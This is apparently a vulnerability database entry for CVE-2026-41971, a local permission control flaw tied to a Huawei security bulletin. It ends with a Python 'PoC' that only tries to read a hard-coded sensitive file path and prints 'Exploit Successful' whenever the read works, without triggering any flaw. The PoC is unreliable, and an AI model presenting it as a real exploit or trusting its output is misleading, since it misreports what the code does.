Permission control vulnerability in the security control module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.
CVSS Details
CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
具体受影响版本请参考华为2026年5月安全公告
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-41971 Permission Control Vulnerability
# This is a simulated demonstration of the logic flaw.
# Actual exploitation requires specific environment context.
import os
def check_permission_control():
target_resource = "/secure/sensitive_data/config.bin"
# Simulate the vulnerability: The control module fails to check
# local caller permissions correctly when specific flags are set.
try:
# In a vulnerable scenario, this read operation would succeed
# even though the current user context should not allow it.
if os.path.exists(target_resource):
with open(target_resource, 'r') as f:
data = f.read()
print("[+] Exploit Successful: Sensitive data leaked.")
print(f"[+] Data Content: {data[:50]}...")
return True
else:
print("[-] Target resource not found.")
return False
except PermissionError:
print("[-] Permission Denied. System is patched or context invalid.")
return False
if __name__ == "__main__":
print("[*] Attempting to exploit CVE-2026-41971...")
# Triggering the vulnerability requires local user interaction (UI:R)
# e.g., running this script manually.
check_permission_control()